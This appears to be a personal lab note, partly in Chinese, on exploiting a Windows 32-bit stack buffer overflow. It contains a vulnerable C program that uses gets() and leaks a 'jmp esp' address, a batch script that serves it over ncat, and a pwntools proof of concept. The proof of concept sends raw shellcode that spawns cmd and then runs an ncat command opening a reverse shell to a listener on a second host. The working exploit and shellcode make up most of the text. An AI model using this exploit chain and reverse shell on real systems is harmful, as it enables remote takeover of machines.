---
# System prepended metadata

title: stack overflow

---

stack overflow
===
## setting
1. install [mingw-w64](https://sourceforge.net/projects/mingw-w64/) in `C:\\mingw\`
2. install [immunityinc debugger](https://debugger.immunityinc.com/)
3. 將 [mona.py](https://github.com/corelan/mona)放入`C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands`之中
4. 將`C:\mingw\mingw32\bin"`加入環境變數
5. 輸入指令`gcc -m32 buf.c -o buf.exe`產生`buf.exe`

## install 
windbg
nmap.org/ncat

## source code
```c=
# include<stdio.h>
# include<stdlib.h>

int kernel_parse(void){
__asm(
"mov %fs:0x30, %eax;"//peb
"mov 0xc(%eax), %eax;"//Ldr
"mov 0x14(%eax), %eax;"//InMemoryOrderModuleList
"mov (%eax), %eax;"//self.exe
"mov (%eax), %eax;"//ntd.dll
"mov (%eax), %eax;"//kernel32.dll
"mov 0x10(%eax), %eax;"//kernelbase.dll
"add $0x1402ea, %eax;"//jmp esp
);
}

int main(){
setvbuf(stdin,NULL,_IONBF,0);//solve ncat display
setvbuf(stdout,NULL,_IONBF,0);//solve ncat display
int k = kernel_parse();
printf(">>>adm1n d00r<<<\n\nmagic hint: jmp esp = %x\n",k);
char str[40];
printf("Login (default:admin):");
gets(str);
printf("%s can't login !\n",str);
return 0;
}
```
## start.bat
```
:A
cd %userprofile%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\
dll.exe -l -p 7788 -k -e d00r.exe
timeout /t 99999
goto A 
```

## poc
```python=
from pwn import *
context.arch = "i386"
context.os = "windows"

r = remote("192.168.100.150", 7788)
r.recvuntil("\n")
r.recvuntil("\n")
jmp_esp = r.recvuntil("\n").split(" = ")[1]
info(hex(int(jmp_esp, 16)))
r.recvuntil(":")
## call conv abcd
buf = ""
# padding
buf += b"\xff"*56
# jmp esp
buf += p32(int(jmp_esp, 16))
# find CreateProcessA
buf += b'\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd'
# push cmd
buf += b'\x68' + p32(u32(b'cmd\0'))
# push args & call CreateProcessA
buf += b'\x31\xdb\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7'

pause()

r.sendline(buf)
r.sendline(b"ncat 192.168.100.155 7799 -e cmd")

r.interactive()

```

## nc reverse server
```
nc -lvnp 7799
```



## refer
- [AT&T 組合語言編寫](https://www.jianshu.com/p/74d54c9d818d)
- [解決ncat延遲或未輸出](https://mks.tw/2976/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8-%E5%BE%9E%E6%AF%AB%E7%84%A1%E5%9F%BA%E7%A4%8E%E9%96%8B%E5%A7%8B-pwn-buffer-overflow)
- [buffer overflow](https://www.youtube.com/watch?v=0qCw-iCwJM0)
- [assemble online](https://defuse.ca/online-x86-assembler.htm)
- [pe header](https://blog.30cm.tw/2015/05/windowspeasmdll-headerapiloadlibrarya.html)
- [find kernel32](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode)